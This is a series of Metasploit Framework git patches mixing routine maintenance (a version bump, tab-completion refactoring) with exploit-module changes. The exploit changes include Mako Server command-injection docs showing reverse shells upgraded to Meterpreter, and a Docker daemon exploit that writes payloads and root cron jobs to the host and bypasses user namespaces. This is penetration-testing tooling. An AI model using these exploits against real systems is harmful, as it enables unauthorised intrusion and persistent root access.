@@ -94,7 +94,7 @@ module Msf
               print_status("Launching #{editor} #{path}")
               system(editor, path)
 
-              # XXX: This will try to reload *anything* and break on modules
+              # XXX: This will try to reload *any* .rb and break on modules
               if args.length > 0 && path.end_with?('.rb')
                 print_status("Reloading #{path}")
                 load path

From 4f660d7dd7a2c2ce33003fe9dd66b429efd6e15e Mon Sep 17 00:00:00 2001
From: Metasploit <metasploit@rapid7.com>
Date: Fri, 10 Nov 2017 10:05:05 -0800
Subject: [PATCH 128/254] Bump version of framework to 4.16.17

---
 Gemfile.lock                        | 8 ++++----
 lib/metasploit/framework/version.rb | 2 +-
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index 74669f4890..88aeb51995 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,7 +1,7 @@
 PATH
   remote: .
   specs:
-    metasploit-framework (4.16.16)
+    metasploit-framework (4.16.17)
       actionpack (~> 4.2.6)
       activerecord (~> 4.2.6)
       activesupport (~> 4.2.6)
@@ -128,7 +128,7 @@ GEM
     filesize (0.1.1)
     fivemat (1.3.5)
     google-protobuf (3.4.1.1)
-    googleapis-common-protos-types (1.0.0)
+    googleapis-common-protos-types (1.0.1)
       google-protobuf (~> 3.0)
     googleauth (0.6.1)
       faraday (~> 0.12)
@@ -226,7 +226,7 @@ GEM
     pry (0.11.2)
       coderay (~> 1.1.0)
       method_source (~> 0.9.0)
-    public_suffix (3.0.0)
+    public_suffix (3.0.1)
     rack (1.6.8)
     rack-test (0.6.3)
       rack (>= 1.0)
@@ -247,7 +247,7 @@ GEM
     rb-readline (0.5.5)
     rbnacl (4.0.2)
       ffi
-    rbnacl-libsodium (1.0.13)
+    rbnacl-libsodium (1.0.15.1)
       rbnacl (>= 3.0.1)
     recog (2.1.16)
       nokogiri
diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb
index ab016eefbe..907460b0af 100644
--- a/lib/metasploit/framework/version.rb
+++ b/lib/metasploit/framework/version.rb
@@ -30,7 +30,7 @@ module Metasploit
         end
       end
 
-      VERSION = "4.16.16"
+      VERSION = "4.16.17"
       MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
       PRERELEASE = 'dev'
       HASH = get_hash

From df2b62dc274e0f90cd9505c2c888d5e8d0805999 Mon Sep 17 00:00:00 2001
From: Steven Patterson <shogunlab@gmail.com>
Date: Fri, 10 Nov 2017 16:28:39 -0500
Subject: [PATCH 129/254] Add Mako Server CMD injection Linux support, update
 docs, move to multi

---
 .../http/makoserver_cmd_exec.md               | 118 +++++++++++++++---
 .../http/makoserver_cmd_exec.rb               |   8 +-
 2 files changed, 107 insertions(+), 19 deletions(-)
 rename documentation/modules/exploit/{windows => multi}/http/makoserver_cmd_exec.md (61%)
 rename modules/exploits/{windows => multi}/http/makoserver_cmd_exec.rb (96%)

diff --git a/documentation/modules/exploit/windows/http/makoserver_cmd_exec.md b/documentation/modules/exploit/multi/http/makoserver_cmd_exec.md
similarity index 61%
rename from documentation/modules/exploit/windows/http/makoserver_cmd_exec.md
rename to documentation/modules/exploit/multi/http/makoserver_cmd_exec.md
index 207fc99c1e..5732e42b71 100644
--- a/documentation/modules/exploit/windows/http/makoserver_cmd_exec.md
+++ b/documentation/modules/exploit/multi/http/makoserver_cmd_exec.md
@@ -1,6 +1,6 @@
 ## Description
 
-  This module exploits a vulnerability found in Mako Server v2.5.
+  This module exploits a vulnerability found in Mako Server v2.5, 2.6.
   It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp.
 
   Based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3391
@@ -9,33 +9,48 @@
 
   [Mako Server](https://makoserver.net) is an application framework for designing web and IoT applications.
 
-  This module has been verified against the following Mako Server versions for Windows XP SP3 and Windows 7 SP1 (x86/x64):
+  This module has been verified against the following Mako Server versions for Windows XP SP3, Windows 7 SP1 and Linux Ubuntu 16.04 LTS:
   - v2.5
+  - v2.6
 
   Links:
-  - [Windows installer](https://makoserver.net/download/mako.windows.x86.exe)
+  - [Windows x86 installer](https://makoserver.net/download/mako.windows.x86.exe)
   - [Windows download page](https://makoserver.net/download/windows)
-  - [Documentation](https://makoserver.net/documentation/manual/)
+  - [Linux x64 installer](https://makoserver.net/download/mako.linux-x64.tar.gz)
+  - [Linux download page](https://makoserver.net/download/linux-x86)
+  - [Documentation](https://makoserver.net/download/manual)
 
 ## References for vulnerability
   - https://blogs.securiteam.com/index.php/archives/3391
   - https://www.exploit-db.com/exploits/42683
 
-## Verification Steps
+## Verification Steps for Windows
 
   1. Run the installer "mako.windows.x86" on a Windows 7 SP1 (x86/x64) target (with Powershell for this example to work)
   2. After installer finishes, double click the "Mako-Demo" shortcut on the desktop
-  3. Start msfconsole on host
-  4. Do: ```use exploit/windows/http/makoserver_cmd_exec```
-  5. Do: ```set RHOST <IP address of target system>```
-  6. Do: ```set PAYLOAD cmd/windows/reverse_powershell```
-  7. Do: ```set LHOST <IP address of host system>```
-  8. Do: ```exploit```
-  9. You should get a Windows command shell
+  4. Start msfconsole on host
+  5. Do: ```use exploit/multi/http/makoserver_cmd_exec```
+  6. Do: ```set RHOST <IP address of target system>```
+  7. Do: ```set PAYLOAD cmd/windows/reverse_powershell```
+  8. Do: ```set LHOST <IP address of host system>```
+  9. Do: ```exploit```
+  10. You should get a Windows command shell
+
+## Verification Steps for Linux
+
+  1. Extract the "mako.linux-x64.tar.gz" on a Linux Ubuntu 16.04 LTS (x64) target (with Python for this example to work)
+  2. From inside the extracted folder, do ```./rundemo.sh```
+  4. Start msfconsole on host
+  5. Do: ```use exploit/multi/http/makoserver_cmd_exec```
+  6. Do: ```set RHOST <IP address of target system>```
+  7. Do: ```set PAYLOAD cmd/unix/python_reverse```
+  8. Do: ```set LHOST <IP address of host system>```
+  9. Do: ```exploit```
+  10. You should get a Linux command shell (may need to wait ~30 seconds)
 
 ## Example Output
 ```
-msf > use exploit/windows/http/makoserver_cmd_exec 
+msf > use exploit/multi/http/makoserver_cmd_exec 
 msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
 RHOST => 10.10.10.3
 msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
@@ -57,7 +72,7 @@ C:\Users\Smith\Downloads\MakoServer>
 
 ## Example Verbose Output
 ```
-msf > use exploit/windows/http/makoserver_cmd_exec 
+msf > use exploit/multi/http/makoserver_cmd_exec 
 msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
 RHOST => 10.10.10.3
 msf exploit(makoserver_cmd_exec) > set VERBOSE true
@@ -94,7 +109,7 @@ C:\Users\Smith\Downloads\MakoServer>
   A typical scenario would be to obtain a Windows command shell and then upgrade to a Meterpreter session:
 
   ```
-  msf > use exploit/windows/http/makoserver_cmd_exec 
+  msf > use exploit/multi/http/makoserver_cmd_exec 
   msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
   RHOST => 10.10.10.2
   msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
@@ -161,3 +176,76 @@ C:\Users\Smith\Downloads\MakoServer>
   Logged On Users : 2
   Meterpreter     : x86/windows
   ```
+
+### Targeting Linux Ubuntu 16.04 LTS x64 running Mako Server v2.5
+
+  A typical scenario would be to obtain a Linux command shell and then upgrade to a Meterpreter session:
+
+  ```
+  msf > use exploit/multi/http/makoserver_cmd_exec 
+  msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
+  RHOST => 10.10.10.2
+  msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/unix/reverse_python
+  PAYLOAD => cmd/unix/reverse_python
+  msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.4
+  LHOST => 10.10.10.4
+  msf exploit(makoserver_cmd_exec) > check
+  [*] 10.10.10.2:80 The target appears to be vulnerable.
+  msf exploit(makoserver_cmd_exec) > exploit
+
+  [*] Started reverse TCP handler on 10.10.10.4:4444 
+  [*] Sending payload to target...
+  [*] Command shell session 1 opened (10.10.10.4:4444 -> 10.10.10.2:57888) at 2017-11-10 15:52:33 -0500
+
+  ls
+  LICENSE.txt
+  mako
+  mako.zip
+  README.txt
+  rundemo.sh
+  tutorial
+  ^Z
+  Background session 1? [y/N]  y
+  msf exploit(makoserver_cmd_exec) > use multi/manage/shell_to_meterpreter
+  msf post(shell_to_meterpreter) > sessions -l
+
+  Active sessions
+  ===============
+
+    Id  Name  Type            Information  Connection
+    --  ----  ----            -----------  ----------
+    1         shell cmd/unix               10.10.10.4:4444 -> 10.10.10.2:57888 (10.10.10.2)
+
+  msf post(shell_to_meterpreter) > set SESSION 1
+  SESSION => 1
+  msf post(shell_to_meterpreter) > set LPORT 8080
+  LPORT => 8080
+  msf post(shell_to_meterpreter) > exploit
+
+  [*] Upgrading session ID: 1
+  [*] Starting exploit/multi/handler
+  [*] Started reverse TCP handler on 10.10.10.4:8080 
+  [*] Sending stage (847604 bytes) to 10.10.10.2
+  [*] Meterpreter session 2 opened (10.10.10.4:8080 -> 10.10.10.2:60448) at 2017-11-10 15:54:38 -0500
+  [*] Command stager progress: 100.00% (736/736 bytes)
+  [*] Post module execution completed
+  msf post(shell_to_meterpreter) > sessions -l
+
+  Active sessions
+  ===============
+
+    Id  Name  Type                   Information                                            Connection
+    --  ----  ----                   -----------                                            ----------
+    1         shell cmd/unix                                                                10.10.10.4:4444 -> 10.10.10.2:57888 (10.10.10.2)
+    2         meterpreter x86/linux  uid=1000, gid=1000, euid=1000, egid=1000 @ 10.10.10.2  10.10.10.4:8080 -> 10.10.10.2:60448 (10.10.10.2)
+  msf post(shell_to_meterpreter) > sessions -i 2
+  [*] Starting interaction with 2...
+
+  meterpreter > getuid
+  Server username: uid=1000, gid=1000, euid=1000, egid=1000
+  meterpreter > sysinfo
+  Computer     : 10.10.10.2
+  OS           : Ubuntu 16.04 (Linux 4.10.0-35-generic)
+  Architecture : x64
+  Meterpreter  : x86/linux
+  ```
diff --git a/modules/exploits/windows/http/makoserver_cmd_exec.rb b/modules/exploits/multi/http/makoserver_cmd_exec.rb
similarity index 96%
rename from modules/exploits/windows/http/makoserver_cmd_exec.rb
rename to modules/exploits/multi/http/makoserver_cmd_exec.rb
index 1e3a16bdad..01747159fb 100644
--- a/modules/exploits/windows/http/makoserver_cmd_exec.rb
+++ b/modules/exploits/multi/http/makoserver_cmd_exec.rb
@@ -10,9 +10,9 @@ class MetasploitModule < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Mako Server v2.5 OS Command Injection RCE',
+      'Name'           => 'Mako Server v2.5, 2.6 OS Command Injection RCE',
       'Description'    => %q{
-        This module exploits a vulnerability found in Mako Server v2.5.
+        This module exploits a vulnerability found in Mako Server v2.5, 2.6.
         It's possible to inject arbitrary OS commands in the Mako Server
         tutorial page through a PUT request to save.lsp.
 
@@ -31,10 +31,10 @@ class MetasploitModule < Msf::Exploit::Remote
           ['URL', 'https://blogs.securiteam.com/index.php/archives/3391']
         ],
       'Arch'           => ARCH_CMD,
-      'Platform'       => 'win',
+      'Platform' => %w[win unix],
       'Targets'        =>
         [
-          ['Mako Server v2.5 - Windows x86/x64', { }]
+          ['Mako Server v2.5, 2.6', {}]
         ],
       'DefaultTarget'  => 0,
       'Privileged'     => false,

From 971ec80fc1051103d8fdd99f73f251855190eb3d Mon Sep 17 00:00:00 2001
From: Martin Pizala <m.pizala@pizala.de>
Date: Fri, 10 Nov 2017 23:11:27 +0100
Subject: [PATCH 130/254] Keep the python target

---
 .../exploits/linux/http/docker_daemon_tcp.rb  | 32 +++++++++++++++----
 1 file changed, 26 insertions(+), 6 deletions(-)

diff --git a/modules/exploits/linux/http/docker_daemon_tcp.rb b/modules/exploits/linux/http/docker_daemon_tcp.rb
index 94b9787b48..a6673c7d70 100644
--- a/modules/exploits/linux/http/docker_daemon_tcp.rb
+++ b/modules/exploits/linux/http/docker_daemon_tcp.rb
@@ -32,10 +32,22 @@ class MetasploitModule < Msf::Exploit::Remote
         ['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket']
       ],
       'DisclosureDate'   => 'Jul 25, 2017',
-      'Platform'         => 'Linux',
-      'Arch'             => [ARCH_X64],
-      'Payload'          => { 'Space' => 65000 },
-      'Targets'          => [[ 'Linux', {} ]],
+      'Targets'          => [
+        [ 'Linux x64', {
+          'Arch'         => ARCH_X64,
+          'Platform'     => 'linux'
+        }],
+        [ 'Python', {
+          'Arch'         => ARCH_PYTHON,
+          'Platform'     => 'python',
+          'Payload'      => {
+            'Compat'     => {
+              'ConnectionType' => 'reverse noconn none tunnel'
+            }
+          }
+        }]
+      ],
+      'Payload'          => { 'Space' => 65000, 'DisableNops' => true },
       'DefaultOptions'   => { 'WfsDelay' => 180 },
       'DefaultTarget'    => 0))
 
@@ -83,10 +95,18 @@ class MetasploitModule < Msf::Exploit::Remote
     echo_cron_path = mnt_path + cron_path
     echo_payload_path = mnt_path + payload_path
 
-    command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
+    case target
+    when targets[0] # linux
+      command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
+      cron_command = payload_path
+    when targets[1] # python
+      command = "echo \"#{payload.raw}\" >> #{echo_payload_path} \&\& "
+      cron_command = "python #{payload_path}"
+    end
+
     command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
     command << "echo \"\" >> #{echo_cron_path} \&\& "
-    command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}"
+    command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"
 
     command
   end

From 3936d3baa1b84fdcd6a8bfa466ae9238ab615a2e Mon Sep 17 00:00:00 2001
From: William Vu <William_Vu@rapid7.com>
Date: Fri, 10 Nov 2017 18:15:22 -0600
Subject: [PATCH 131/254] Clean up module

---
 .../modules/exploit/linux/http/dlink_dir850l_unauth_exec.md | 6 +++---
 ...ink_850l_unauth_exec.rb => dlink_dir850l_unauth_exec.rb} | 5 +++--
 .../linux/http/netgear_dgn1000_setup_unauth_exec.rb         | 2 +-
 3 files changed, 7 insertions(+), 6 deletions(-)
 rename modules/exploits/linux/http/{dlink_850l_unauth_exec.rb => dlink_dir850l_unauth_exec.rb} (97%)

diff --git a/documentation/modules/exploit/linux/http/dlink_dir850l_unauth_exec.md b/documentation/modules/exploit/linux/http/dlink_dir850l_unauth_exec.md
index a1158fa395..99809325f4 100644
--- a/documentation/modules/exploit/linux/http/dlink_dir850l_unauth_exec.md
+++ b/documentation/modules/exploit/linux/http/dlink_dir850l_unauth_exec.md
@@ -1,6 +1,6 @@
-The module dlink_dir850_(un)auth_exec leverages an unauthenticated credential disclosure vulneralbility to then execute arbitrary commands via an authenticated OS command injection
-vulneralbility. D-LINK 850L (excluding "Cloud" models) devices with firmware version up to 1.14B07
-are potentially vulnerable. The vulneralbility seems to occur within the parsing of the config. Another PoC can be found here https://www.seebug.org/vuldb/ssvid-96333. Setting command to be `reboot` will force the router into an infinite loop.
+The module dlink_dir850_(un)auth_exec leverages an unauthenticated credential disclosure vulnerability to then execute arbitrary commands via an authenticated OS command injection
+vulnerability. D-LINK 850L (excluding "Cloud" models) devices with firmware version up to 1.14B07
+are potentially vulnerable. The vulnerability seems to occur within the parsing of the config. Another PoC can be found here https://www.seebug.org/vuldb/ssvid-96333. Setting command to be `reboot` will force the router into an infinite loop.
 
 ## Vulnerable Application
 
diff --git a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb b/modules/exploits/linux/http/dlink_dir850l_unauth_exec.rb
similarity index 97%
rename from modules/exploits/linux/http/dlink_850l_unauth_exec.rb
rename to modules/exploits/linux/http/dlink_dir850l_unauth_exec.rb
index 69fdf17f6c..29645df2c8 100644
--- a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
+++ b/modules/exploits/linux/http/dlink_dir850l_unauth_exec.rb
@@ -17,11 +17,12 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name' => 'DIR-850L (Un)authenticated OS Command Exec',
       'Description' => %q{
         This module leverages an unauthenticated credential disclosure
-        vulneralbility to then execute arbitrary commands on DIR-850L routers
+        vulnerability to then execute arbitrary commands on DIR-850L routers
         as an authenticated user. Unable to use Meterpreter payloads.
       },
       'Author' => [
-        'Mumbai <https://github.com/realoriginal>' # module
+        'Mumbai', # https://github.com/realoriginal (module)
+        'Zdenda' # vuln discovery
       ],
       'References' => [
         ['URL', 'https://www.seebug.org/vuldb/ssvid-96333'],
diff --git a/modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb b/modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb
index a16546c153..ead3740f3c 100644
--- a/modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb
+++ b/modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote
         DGN2000v1 models.
         },
       'Author' => [
-        'Mumbai <https://github.com/realoriginal>', # module
+        'Mumbai', # https://github.com/realoriginal (module)
         'Robort Palerie <roberto@greyhats.it>' # vuln discovery
       ],
       'References' => [

From 68a43fef361a6839b83afecc776cffdb528a9cc8 Mon Sep 17 00:00:00 2001
From: Spencer McIntyre <zeroSteiner@gmail.com>
Date: Sat, 11 Nov 2017 16:47:11 -0500
Subject: [PATCH 132/254] Add the new generic tab completion functoin

---
 lib/msf/ui/console/command_dispatcher/core.rb | 11 +-----
 .../ui/console/command_dispatcher/payload.rb  | 20 +----------
 lib/rex/ui/text/dispatcher_shell.rb           | 35 +++++++++++++++++++
 3 files changed, 37 insertions(+), 29 deletions(-)

diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb
index 6c4e796224..78a8443412 100644
--- a/lib/msf/ui/console/command_dispatcher/core.rb
+++ b/lib/msf/ui/console/command_dispatcher/core.rb
@@ -2198,16 +2198,7 @@ class Core
         if rh and not rh.empty?
           res << Rex::Socket.source_address(rh)
         else
-          res << Rex::Socket.source_address
-          # getifaddrs was introduced in 2.1.2
-          if Socket.respond_to?(:getifaddrs)
-            ifaddrs = Socket.getifaddrs.find_all do |ifaddr|
-              ((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) &&
-                ifaddr.addr &&
-                ifaddr.addr.ip?
-            end
-            res += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }
-          end
+          res += tab_complete_source_address
         end
       else
       end
diff --git a/lib/msf/ui/console/command_dispatcher/payload.rb b/lib/msf/ui/console/command_dispatcher/payload.rb
index 20b223f266..3b2a6a05d6 100644
--- a/lib/msf/ui/console/command_dispatcher/payload.rb
+++ b/lib/msf/ui/console/command_dispatcher/payload.rb
@@ -167,25 +167,7 @@ module Msf
               '-x' => [ :file,                                            ],
               '-i' => [ true,                                             ]
             }
-            tab_complete_spec(fmt, str, words)
-          end
-
-          def tab_complete_spec(fmt, str, words)
-            last_word = words[-1]
-            fmt = fmt.select { |key, value| last_word == key || !words.include?(key) }
-
-            val = fmt[last_word]
-            return fmt.keys if !val  # the last word does not look like a fmtspec
-            arg = val[0]
-            return fmt.keys if !arg  # the last word is a fmtspec that takes no argument
-
-            tabs = []
-            if arg.to_s.to_sym == :file
-              tabs = tab_complete_filenames(str, words)
-            elsif arg.kind_of?(Array)
-              tabs = arg.map {|a| a.to_s}
-            end
-            tabs
+            tab_complete_generic(fmt, str, words)
           end
         end
       end
diff --git a/lib/rex/ui/text/dispatcher_shell.rb b/lib/rex/ui/text/dispatcher_shell.rb
index 878010829c..846cc995d7 100644
--- a/lib/rex/ui/text/dispatcher_shell.rb
+++ b/lib/rex/ui/text/dispatcher_shell.rb
@@ -248,6 +248,41 @@ module DispatcherShell
       matches
     end
 
+    def tab_complete_generic(fmt, str, words)
+      last_word = words[-1]
+      fmt = fmt.select { |key, value| last_word == key || !words.include?(key) }
+
+      val = fmt[last_word]
+      return fmt.keys if !val  # the last word does not look like a fmtspec
+      arg = val[0]
+      return fmt.keys if !arg  # the last word is a fmtspec that takes no argument
+
+      tabs = []
+      if arg.to_s.to_sym == :address
+        tabs = tab_complete_source_addresses
+      elsif arg.to_s.to_sym == :bool
+        tabs = ['true', 'false']
+      elsif arg.to_s.to_sym == :file
+        tabs = tab_complete_filenames(str, words)
+      elsif arg.kind_of?(Array)
+        tabs = arg.map {|a| a.to_s}
+      end
+      tabs
+    end
+
+    def tab_complete_source_address
+      addresses = [Rex::Socket.source_address]
+      # getifaddrs was introduced in 2.1.2
+      if Socket.respond_to?(:getifaddrs)
+        ifaddrs = Socket.getifaddrs.find_all do |ifaddr|
+          ((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) &&
+            ifaddr.addr &&
+            ifaddr.addr.ip?
+        end
+        addresses += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }
+      end
+      addresses
+    end
   end
 
   #

From fb7635502dab8a099fe49666233713e424caafd2 Mon Sep 17 00:00:00 2001
From: Spencer McIntyre <zeroSteiner@gmail.com>
Date: Sat, 11 Nov 2017 17:11:54 -0500
Subject: [PATCH 133/254] Tab completion for exploit and handler commands

---
 .../ui/console/command_dispatcher/exploit.rb  | 15 ++++++++++++++
 lib/msf/ui/console/command_dispatcher/jobs.rb | 13 ++++++++++++
 .../ui/console/command_dispatcher/payload.rb  | 20 +++++++++----------
 lib/rex/ui/text/dispatcher_shell.rb           |  2 +-
 4 files changed, 39 insertions(+), 11 deletions(-)

diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb
index 08ac8aa8a7..5d6f0a5564 100644
--- a/lib/msf/ui/console/command_dispatcher/exploit.rb
+++ b/lib/msf/ui/console/command_dispatcher/exploit.rb
@@ -164,6 +164,21 @@ class Exploit
     end
   end
 
+  def cmd_exploit_tabs(str, words)
+    fmt = {
+      '-e' => [ framework.encoders.map { |refname, mod| refname } ],
+      '-f' => [ nil                                               ],
+      '-h' => [ nil                                               ],
+      '-j' => [ nil                                               ],
+      '-n' => [ framework.nops.map { |refname, mod| refname }     ],
+      '-o' => [ true                                              ],
+      '-p' => [ framework.payloads.map { |refname, mod| refname } ],
+      '-t' => [ true                                              ],
+      '-z' => [ nil                                               ]
+    }
+    tab_complete_generic(fmt, str, words)
+  end
+
   alias cmd_run cmd_exploit
 
   def cmd_exploit_help
diff --git a/lib/msf/ui/console/command_dispatcher/jobs.rb b/lib/msf/ui/console/command_dispatcher/jobs.rb
index 85fc1071d1..797e0b9192 100644
--- a/lib/msf/ui/console/command_dispatcher/jobs.rb
+++ b/lib/msf/ui/console/command_dispatcher/jobs.rb
@@ -341,6 +341,19 @@ module Msf
 
             print_status "Payload handler running as background job #{job_id}."
           end
+
+          def cmd_handler_tabs(str, words)
+            fmt = {
+              '-h' => [ nil                                               ],
+              '-x' => [ nil                                               ],
+              '-p' => [ framework.payloads.map { |refname, mod| refname } ],
+              '-P' => [ true                                              ],
+              '-H' => [ :address                                          ],
+              '-e' => [ framework.encoders.map { |refname, mod| refname } ],
+              '-n' => [ true                                              ]
+            }
+            tab_complete_generic(fmt, str, words)
+          end
         end
       end
     end
diff --git a/lib/msf/ui/console/command_dispatcher/payload.rb b/lib/msf/ui/console/command_dispatcher/payload.rb
index 3b2a6a05d6..9edeb071ca 100644
--- a/lib/msf/ui/console/command_dispatcher/payload.rb
+++ b/lib/msf/ui/console/command_dispatcher/payload.rb
@@ -155,17 +155,17 @@ module Msf
           def cmd_generate_tabs(str, words)
             fmt = {
               '-b' => [ true                                              ],
-              '-E' => [ nil,                                              ],
+              '-E' => [ nil                                               ],
               '-e' => [ framework.encoders.map { |refname, mod| refname } ],
-              '-h' => [ nil,                                              ],
-              '-o' => [ true,                                             ],
-              '-s' => [ true,                                             ],
-              '-f' => [ :file,                                            ],
-              '-t' => [ @@supported_formats,                              ],
-              '-p' => [ true,                                             ],
-              '-k' => [ nil,                                              ],
-              '-x' => [ :file,                                            ],
-              '-i' => [ true,                                             ]
+              '-h' => [ nil                                               ],
+              '-o' => [ true                                              ],
+              '-s' => [ true                                              ],
+              '-f' => [ :file                                             ],
+              '-t' => [ @@supported_formats                               ],
+              '-p' => [ true                                              ],
+              '-k' => [ nil                                               ],
+              '-x' => [ :file                                             ],
+              '-i' => [ true                                              ]
             }
             tab_complete_generic(fmt, str, words)
           end
diff --git a/lib/rex/ui/text/dispatcher_shell.rb b/lib/rex/ui/text/dispatcher_shell.rb
index 846cc995d7..fef53a9705 100644
--- a/lib/rex/ui/text/dispatcher_shell.rb
+++ b/lib/rex/ui/text/dispatcher_shell.rb
@@ -259,7 +259,7 @@ module DispatcherShell
 
       tabs = []
       if arg.to_s.to_sym == :address
-        tabs = tab_complete_source_addresses
+        tabs = tab_complete_source_address
       elsif arg.to_s.to_sym == :bool
         tabs = ['true', 'false']
       elsif arg.to_s.to_sym == :file

From bc691cbd0084094ecb4a7bb083877f162629e12c Mon Sep 17 00:00:00 2001
From: Spencer McIntyre <zeroSteiner@gmail.com>
Date: Sat, 11 Nov 2017 17:17:48 -0500
Subject: [PATCH 134/254] Document the new tab completion functions

---
 lib/rex/ui/text/dispatcher_shell.rb | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/lib/rex/ui/text/dispatcher_shell.rb b/lib/rex/ui/text/dispatcher_shell.rb
index fef53a9705..af90178e91 100644
--- a/lib/rex/ui/text/dispatcher_shell.rb
+++ b/lib/rex/ui/text/dispatcher_shell.rb
@@ -248,6 +248,18 @@ module DispatcherShell
       matches
     end
 
+    #
+    # Provide a generic tab completion function based on the specification
+    # pass as fmt. The fmt argument in a hash where values are an array
+    # defining how the command should be completed. The first element of the
+    # array can be one of:
+    #   nil      - This argument is a flag and takes no option.
+    #   true     - This argument takes an option with no suggestions.
+    #   :address - This option is a source address.
+    #   :bool    - This option is a boolean.
+    #   :file    - This option is a file path.
+    #   Array    - This option is an array of possible values.
+    #
     def tab_complete_generic(fmt, str, words)
       last_word = words[-1]
       fmt = fmt.select { |key, value| last_word == key || !words.include?(key) }
@@ -270,6 +282,9 @@ module DispatcherShell
       tabs
     end
 
+    #
+    # Return a list of possible source addresses for tab completion.
+    #
     def tab_complete_source_address
       addresses = [Rex::Socket.source_address]
       # getifaddrs was introduced in 2.1.2

From 4ec0faf35df70f5285ec425a5651f3d1d754d841 Mon Sep 17 00:00:00 2001
From: Tim <timrlw@gmail.com>
Date: Mon, 30 Oct 2017 19:20:01 +0800
Subject: [PATCH 135/254] fix aarch64 cmdstager

---
 lib/msf/util/exe.rb | 13 ++++++++++++-
 1 file changed, 12 insertions(+), 1 deletion(-)

diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb
index e5f502838a..f60175244a 100644
--- a/lib/msf/util/exe.rb
+++ b/lib/msf/util/exe.rb
@@ -1122,7 +1122,7 @@ require 'msf/core/exe/segment_appender'
     to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)
   end
 
-  # self.to_linux_mipsle_elf
+  # self.to_linux_armle_elf
   #
   # @param framework [Msf::Framework]
   # @param code       [String]
@@ -1133,6 +1133,17 @@ require 'msf/core/exe/segment_appender'
     to_exe_elf(framework, opts, "template_armle_linux.bin", code)
   end
 
+  # self.to_linux_aarch64_elf
+  #
+  # @param framework [Msf::Framework]
+  # @param code       [String]
+  # @param opts       [Hash]
+  # @option           [String] :template
+  # @return           [String] Returns an elf
+  def self.to_linux_aarch64_elf(framework, code, opts = {})
+    to_exe_elf(framework, opts, "template_aarch64_linux.bin", code)
+  end
+
   # self.to_linux_mipsle_elf
   # Little Endian
   # @param framework [Msf::Framework]

From 33e5508bcb41f2a6ca3ebde082e1f7210c5209d6 Mon Sep 17 00:00:00 2001
From: Martin Pizala <m.pizala@pizala.de>
Date: Wed, 15 Nov 2017 15:14:58 +0100
Subject: [PATCH 136/254] bypass user namespaces

---
 modules/exploits/linux/http/docker_daemon_tcp.rb | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/modules/exploits/linux/http/docker_daemon_tcp.rb b/modules/exploits/linux/http/docker_daemon_tcp.rb
index a6673c7d70..c77a5e8837 100644
--- a/modules/exploits/linux/http/docker_daemon_tcp.rb
+++ b/modules/exploits/linux/http/docker_daemon_tcp.rb
@@ -120,7 +120,9 @@ class MetasploitModule < Msf::Exploit::Remote
       'HostConfig' => {
         'Binds'    => [
           '/:' + mnt_path
-        ]
+        ],
+        'Privileged' => true,
+        'UsernsMode' => 'host'
       }
     }
   end

From 256bf5a5cac8416a08ec1266e8e3baa606691f8a Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Wed, 15 Nov 2017 10:38:53 -0500
Subject: [PATCH 137/254] Create polycom_hdx_traceroute_exec.md

---
 .../unix/misc/polycom_hdx_traceroute_exec.md  | 131 ++++++++++++++++++
 1 file changed, 131 insertions(+)
 create mode 100644 documentation/modules/exploit/unix/misc/polycom_hdx_traceroute_exec.md

diff --git a/documentation/modules/exploit/unix/misc/polycom_hdx_traceroute_exec.md b/documentation/modules/exploit/unix/misc/polycom_hdx_traceroute_exec.md
new file mode 100644
index 0000000000..94d04ca2f0
--- /dev/null
+++ b/documentation/modules/exploit/unix/misc/polycom_hdx_traceroute_exec.md
@@ -0,0 +1,131 @@
